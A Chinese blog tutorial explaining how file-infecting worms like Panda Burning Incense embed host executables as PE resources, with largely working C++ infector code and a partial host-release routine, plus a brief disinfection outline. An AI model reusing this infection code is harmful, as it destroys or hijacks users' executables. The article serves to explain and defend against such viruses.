从编程角度揭示病毒感染原理
--之乾坤大挪移(PE病毒文件感染原理)
作者:冒险王(刘湘鋆)
博客:http://hi.baidu.com/43755979
(一)闲话病毒
某天....某街道....
某乞丐:武学秘籍<<九阴真经>>再现江湖....十元一本~拯救宇宙,维护世界和平的使命就交给你了。赶快买一本看看!!!
某小孩:(摇头..)
某乞丐:怎么,不喜欢?那好我这还有<<降龙十八掌>>,<<葵花宝典>>,<<一阳指>>,<<吸星大法>>,<<独孤九剑>>...样样十元,买二送一....
某小孩: 不要~我要学黑客!
某乞丐: 哇!果然有出息~那好。我这里有<<黑客从零开始>>,<<黑客工具大全>>,<<24小黑客速成宝典>>,<<会打字就能成黑客>>....大降价5元一本~买三送二~~
某小孩: 哎...(叹气,要走)。
某乞丐:好家伙,顶你个肺~看在你不识货的份上,我就给你一本<<乾坤大挪移(PE病毒文件感染原理)>>.这本被雨淋湿了卖不出去,一毛钱你拿去好了~
某小孩:一毛钱?好哦!可我身上只有5分钱,能不能打半折哦
某乞丐:(......当场晕倒~)
哈哈以上对白纯属虚构,如有雷同....那是不可能的!希望在轻松的氛围下展开我们今天的技术话题-PE病毒文件感染原理。讲到这里我不得不提两款知名度较高的蠕虫病毒-维金蠕虫和尼姆达病毒。这些病毒与一般木马不同,虽然木马在某种意义上也被划分成病毒,但是木马在入侵手段上至少比较“绅士”,它们通常只是在你系统范围内动手动脚,冤有头债有主,一般的木马至少不会伤及无辜。如果你种了木马,就算清除不了顶多只是系统分区格式化重装个系统(纯属个人理解,不必引起争议!)。但是如果你中的是上述两种类型病毒,那么你就会比较头疼,因为它们可并不“绅士”。相反是以极其野蛮的形式对你的磁盘资料进行“大屠杀”。因为它们会将自己的病毒母体插入到你磁盘上所有它们认为具备屠杀条件的无辜文件——称之为感染。所有有用的,没用,重要的不重要的PE文件资料都无法幸免,所以一旦不幸中了这类病毒那么你损失的将是无法估算的。
我发现似乎有很多电脑用户对木马程序并不感冒,他们可能是那样一群人 :不上QQ,不玩网游,没什么网络帐号,电脑里也没什么重要资料。他们会说:只要电脑能正常工作,上网查资料就行了。有一次我在一家打字店的电脑上发现好几个木马,老板竟说不碍事的,网络又不卡,根本不影响日常工作。还有很多网民压根就不知道自己电脑上中木马了。我不得不佩服现在的木马,简直是太“绅士”了。瞧,我现在在机房里写这篇文章,我发现我所使用的电脑也被挂马了。哈哈这并不影响我继续写下去。我得向那些“绅士”们打声招呼,我此时正在介绍它们呢!
写到这似乎跑题了,言归正传。对于那些不太“绅士”的屠杀者,我们谁都无法容忍。因为当你的资料文件被感染后出现运行错误或者根本无法运行时,你还会觉得你够宽宏大量吗?那好,我们当得而诛之。你可以装最时髦的杀毒软件,查网上最时髦的清除方法。但这并不是我今天所要讨论的话题。从文章的题目可以知道,我将从病毒的感染文件原理来揭示此类病毒的一些技术内幕。对于文件感染的技术,我戏称它为“乾坤大挪移”。
(二)乾坤挪移大法
但是我不得不说,对于同一种目的,一定会有很多种方法去实现。对于文件感染技术,仅我个人所知的就有三种。但限于我个人的水平和篇幅,我只阐述我比较熟悉并偏好的一种技术:NT下的资源更新技术。它是伴随着Win2000以后版本系统的出现而被很多蠕虫病毒所惯用的感染文件技术。它的优点是简单方便(相较于用汇编写的计算PE文件中某部分结构入口然后改来改去而言),但是其技术含量因此也打了些折扣。管它呢,老邓说过:不管黑猫白猫,能抓老鼠就是好猫!用这种方法还有个好处就是狂节省代码。说了那么多,大家是否对其深感兴趣呢?那我就先将"乾坤大挪移"的练功心法略述一二:
"欲练此功,必先自宫...."哈哈开玩笑的!言归正传,其原理(我个人理解)是将宿主文件以动态资源的形式加载到病毒体内的。什么?你一定认为我在开玩笑吧。这次我可是认真的,虽然我可能暂时还无法让你改变传统病毒文件感染在你心目中的印象。但请你认真阅读我以下的描述。
1.先说一下传统的病毒感染技术,主要是将病毒体代码插入到宿主代码的尾部或者资源间空隙的部分,我认为这种技术存在着一定的难度。因为你要精通PE文件结构和运行原理,而且要有高深的汇编功力。代码的插入不难,难在你得重新修改宿主文件的一些入口比如说OEP(文件被加载时的起始地址),使得系统首先加载你的代码;然后转换“校验和”位变成跳转位jmp(0xe9);最后还要把地址引回到原来(宿主)的入口装载点上。如果是插入宿主内的一些空隙部分,那就更复杂了。你必须再计算宿主内各个资源节空隙的剩余长度,组织算法将自己代码切割分插到其中,如果空隙空间不够(你的代码太长了),那么感染就难以成功。(以上纯属个人见解,仅供参考!)
我曾经做实验将一个MessageBox对话框代码插到一个长度只有几百KB的程序的.text(代码段)头部空隙中(最多给我插50字节的代码)。感染后宿主文件长度不变,运行后会先弹出我的对话框。但与自身程序功能无关的繁杂计算代码就要几百行,真是头疼。但我不得不说这种技术的优点:感染后宿主文件图标不变,程序长度不变(如果插入尾部就会变长)。传说中蠕虫感染技术的最高境界大概就是说这种技术吧,不过江湖中很少有人对此感兴趣,我不会放弃对其的学习和研究,但我也不喜欢并不擅长用这种技术。脑细胞受不了,现在流行的蠕虫和感染型病毒绝大多数不是用这种方式,比如熊猫烧香病毒。它们几乎不约而同情不自禁的用到了另一个新技术,哈哈就是我下面要讲的"乾坤大挪移"!
2.如果你对以上所总结的感染技术原理感到晕头转向的话,那我下面所要阐述的感染技术一定会让你倍感轻松的。你再返回去看看前面我说的“原理(我个人理解)是将宿主文件以动态资源的形式加载到病毒体内的。”,是的,就是这么简单。看似与你传统观念中的病毒感染原理相反,你可能一直认为是病毒代码插到宿主程序末尾或空隙,而现在,你不得不改变这一观念。是病毒将宿主文件吞到肚子里去啦!那么你会问,感染后宿主文件还能正常运行吗?答案是当然的。既然我能把它吞下去,我当然也能把它吐出来。所以你运行被感染的程序时,实际上你看到的真身就是病毒体,你运行的也是病毒体。
其实自从宿主文件被这种技术感染后,压根你就再也见不到原先的宿主文件了。这好比你看到一只兔子被鄂鱼给吞了,假设兔子在其肚子里还没死。那么那只兔子对你而言已经不存在了。你看到的就是鄂鱼,虽然它肚子里有兔子。就算有人把那只鄂鱼化妆成兔子模样,你千万别真当它是兔子!言归正传,这种技术原理很类似于文件捆绑,或者干脆就说是文件加壳好了。给兔子加一层鄂鱼的壳哈哈你可以尝试这样去理解。前面我讲了很多废话,但是请你相信我所做的一切都是为了让你更容易的去理解一些内幕。我不希望你在看我的文章时会有压力,就算你暂时看不明白,但至少你始终是以轻松的态度在和我做思想交流。你可以不赞同我的观点,但你至少不会讨厌我的个性吧呵呵我又跑题了!
下面让我们来看看鄂鱼是怎么把兔子吞到肚子里去的!乾坤挪移大法的上半招:扭转乾坤!
- #include <windows.h>
- #include <iostream.h>
- #include "ifPE.h"
- /*将bingdu文件插入suzhu文件实现对suzhu文件的感染*/
- bool GanRan(TCHAR *suzhu,TCHAR *bingdu)
- {
- if (!ifPE(suzhu))return false;//宿主不是PE文件
- TCHAR syspath[256];//存放返回的系统根目录路径
- TCHAR *src=suzhu;//存放宿主路径
- TCHAR *szMyName=bingdu;//存放返回的病毒体路径
- TCHAR szTempFileA[MAX_PATH];
- TCHAR szTempFileB[MAX_PATH];
- GetSystemDirectory(syspath,256);
- HANDLE hFile;
- DWORD dwFileSize,dwBytesRead;
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- GetTempFileName(syspath,"vic",0,szTempFileA);//在系统目录下建立一个临时文件
- CopyFile(szMyName,szTempFileA,0);
- HMODULE hLibrary;
- HRSRC hResource;
- HGLOBAL hResourceLoaded;
- LPBYTE lpBuffer;
- hLibrary = LoadLibrary(src);//映射宿主文件地址到内存
- if (NULL != hLibrary)
- {
- //将模块加载入内存,并搜索是否有感染标记。假设我将感染标记记为99
- hResource = FindResource(hLibrary, MAKEINTRESOURCE(99), RT_RCDATA);
- if (NULL != hResource)//如果找到被标记的资源,说明文件已被感染,退出。
- {
- MessageBox(NULL,"此文件已被感染!","提示",MB_OK);
- FreeLibrary(hLibrary);
- DeleteFile(szTempFileA);
- return false;
- }
- FreeLibrary(hLibrary);//释放内存中的映像
- }
- /*如果此文件没被感染过,开始感染此文件*/
- hFile = CreateFile(
- src,GENERIC_READ,0,NULL,OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,NULL
- );
- if (INVALID_HANDLE_VALUE != hFile)
- {
- dwFileSize = GetFileSize(hFile, NULL);//取得宿主资源大小(不可省略)
- lpBuffer = new BYTE[dwFileSize];
- if (ReadFile(hFile, lpBuffer, dwFileSize, &dwBytesRead, NULL) != FALSE)
- {
- hResource = (HRSRC)BeginUpdateResource(szTempFileA, FALSE);
- if (NULL != hResource)
- {
- //感染后的结合体是szTempFileA
- if (UpdateResource(
- hResource,
- RT_RCDATA,
- MAKEINTRESOURCE(104),
- MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
- (LPVOID) lpBuffer,
- dwFileSize
- ) != FALSE)
- {
- EndUpdateResource(hResource, FALSE);
- }
- }
- }
- //释放资源,我最讨厌的但不得不干的活
- delete [] lpBuffer;
- CloseHandle(hFile);
- CopyFile(szTempFileA,src,0);//覆盖原来的文件
- while (!DeleteFile(szTempFileA));
- return true;
- }
- DeleteFile(szTempFileA);//找不到文件,退出。
- MessageBox(NULL,"找不到宿主","kk",MB_OK);
- return false;
- }
在程序开始的ifPE.h是我自定义的头文件,用来判断此文件是否符合感染的前提条件(PE文件)。这方面的技术我暂不提,要不然又要扯远了。可能很多人会认为我这是在教人写病毒,我也怕有这样的种种误会。但是从学术观点上讲,我只想揭示其中的一些技术内幕,好让大家有更好的认识和预防。当然我也知道其中有利也有弊,这好比媒体揭示和披露那些传销活动,让我们大家知道了传销的危害。但是也有一部分人从中学到了传销的方法,于是传销有会有新的发展。每一个问题都存在着矛盾,看我们怎么去认识这些矛盾的关系。技术可以用来造福人类也可以用来危害人类。技术本身不存在褒贬含义,使用的人不同而已,希望读者能够明白这一道理!
好了,经过以上的方法我们就轻松的将宿主文件给吞掉了。讲到这里,我不得不提熊猫烧香病毒,它就这样把你的程序文件吞下去的。就如以上实验代码功能,bingdu文件将suzhu文件给吃下去了。结果图标还是bingdu文件的图标,文件尺寸增加了suzhu文件的长度。鄂鱼把兔子吞下去后,它的外形当然还是鄂鱼。同理,熊猫吞了兔子它也还是熊猫,所以你电脑里绝大多数的程序文件都变成了熊猫。当然我们还可以耍些手段把鄂鱼或是熊猫化妆成兔子。吞什么就变什么,以此来掩饰自己,抹去踪迹。有点像《西游记》里的孙悟空,或是《百变星君》里的星爷。这又是另一种技术,我在《从编程角度揭示病毒感染原理--之病毒易容术》里就专门讲了这个技术。
但是,仅仅用以上方法只能吞,不能吐。感染后的程序是无法实现宿主程序的功能的,你运行后就是病毒本身,除此不会再有任何其他现象。这不就破坏了原本的宿主程序吗?聪明的你或许会说,如果让宿主程序把病毒程序给吞下去,那么就不会破坏宿主程序本身了。非常正确!这是完全可行的,这样一来图标也不用变了,你运行后宿主程序一切正常。但仔细想想你会发现,如此一来病毒程序不就永远沉睡了吗?兔子把鄂鱼给吞了哈哈,你怎么叫兔子听你的话把鄂鱼吐出来?要知道鄂鱼(病毒)才是你养的,才会去听你的话。所以你应该尝试叫鄂鱼把兔子吐出来,而不是让兔子去吐鄂鱼。这就是为什么一定要选择用病毒体去吞宿主体的原因所在!我希望不用那些专业术语就能让你明白那些专业的内幕,希望你跟着我的思路走。
好了既然在感染后运行时能够不让人发现异常(怀疑中毒了),我们就要在这个千钧一发的时刻让我们的鄂鱼将小兔子吐出来!乾坤挪移大法,一挪一移。下半招:乾坤倒转!
- /*释放病毒中的宿主程序核心代码*/
- TCHAR syspath[MAX_PATH];
- TCHAR szMyName[MAX_PATH];
- TCHAR szTempFileA[MAX_PATH];
- TCHAR szTempFileB[MAX_PATH];
- GetSystemDirectory(syspath,256);
- GetModuleFileName(NULL,szMyName,MAX_PATH);
- HANDLE hFile;
- DWORD dwFileSize,dwBytesRead;
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- //在系统目录下建立两个临时文件
- GetTempFileName(syspath,"vic",0,szTempFileA);
- GetTempFileName(syspath,"host",0,szTempFileB);
- //复制宿主(自己)到给临时文件A
- CopyFile(szMyName,szTempFileA,0);
- HMODULE hLibrary;
- HRSRC hResource;
- HGLOBAL hResourceLoaded;
- LPBYTE lpBuffer;
- //映射该文件地址到内存,返回该资源的可执行模块句柄
- hLibrary = LoadLibrary(szTempFileA);
- if (NULL!= hLibrary)
- {
- hResource = FindResource(hLibrary,MAKEINTRESOURCE(99),RT_RCDATA);
- //如果找到被标记的资源,说明文件已被感染,那么我来释放宿主
- if (NULL!= hResource)
- {
- hResourceLoaded = LoadResource(hLibrary, hResource);
- if (NULL!= hResourceLoaded)
- {
- lpBuffer = (LPBYTE)LockResource(hResourceLoaded);
- if (NULL!= lpBuffer)
- {
- DWORD dwBytesWritten;
- dwFileSize = SizeofResource(hLibrary, hResource);//获取宿主资源的大小
- hFile = CreateFile(szTempFileB,
- GENERIC_WRITE,
- 0,
- NULL,
- CREATE_ALWAYS,
- FILE_ATTRIBUTE_NORMAL,
- NULL);
- if (INVALID_HANDLE_VALUE!= hFile)
- {
- WriteFile(hFile, lpBuffer, dwFileSize, &dwBytesWritten,NULL);//将内存中的宿主资源写入此文件
- CloseHandle(hFile);
- }
- GetStartupInfo(&si);//加载运行宿主程序(关键)
- CreateProcess(szTempFileB,GetCommandLine(),NULL,NULL,NULL,NULL,NULL,NULL,&si,&pi);
- WaitForSingleObject(pi.hProcess,INFINITE);//查到系统已被感染后,不运行病毒体
- if (what==1)
- {
- FreeLibrary(hLibrary);//释放内存中的映像
- DeleteFile(szTempFileA);
- DeleteFile(szTempFileB);
- return true;
- }
- }
- }
- }
- else //没有感染的宿主,病毒单独运行.
- {
- .......
- }
- ........................................
- }
这样一来,这个技术体系就完整了,此后半部分的原理其实就是利用资源搜索技术将前半部分作为资源添加进病毒体内的99标记资源(宿主程序机器码)搜出来,然后重新写入一个临时文件,再运行那个临时文件。此时看上的效果就和你运行正常程序一样。其实你运行的那个程序它并未真正运行,而是你运行了病毒,然后病毒把体内的宿主程序释放到别的目录下运行。运行完后就将那个临时文件删除,这一过程全被我拍下来了。多看看代码你就明白了,你是否感觉自己被狡猾的病毒给欺骗了。呵呵这一武功可真是阴险毒辣呀!但是这种技术有也其自身的弱点,因为要将文件克隆出来作手脚,那么文件如果太大的话会严重影响执行效率。所以病毒一般会挑几MB以内的程序文件进行感染,所以你硬盘里如果有个几百MB的游戏安装程序,那么此类病毒肯定碰不得它!那些像外挂,已安装好的软件文件夹里的程序是最受病毒喜爱的。
(三)绞杀此类病毒
让我们紧接上一篇《从编程角度揭示病毒感染原理--之踏腊无痕水上飘(进程隐藏技术)》的最后,怎样从鄂鱼肚子里将小兔子救出来呢?在知道了其感染原理后我们就可以很轻松的制定解决方案!欲破“乾坤挪移大法”,我们就该以其人之道还其人之身。既然里面有乾坤倒转这一招,我们何不倒到最后,让其一去不复返,其实解毒代码就在这病毒代码之中!不信?请你仔细看看后半段代码,只需稍改其几处就可。对于被感染的文件,我们将其映射到内存空间,然后搜索宿主资源的机器码。将其从病毒体内提取出来,将运行的语句去掉,将其写在别的目录下,到最后将删除临时文件的语句改成将临时文件转移并覆盖被感染的文件。如此,便把小兔子从鄂鱼肚子里救了出来了!
呵呵希望我见解与阐述可以给你的学习研究带来帮助!在下不才,就先到这吧。下一期我将介绍一些另类的病毒破坏手法。博客:http://hi.baidu.com/43755979 希望大家支持原创,一起交流,共同进步!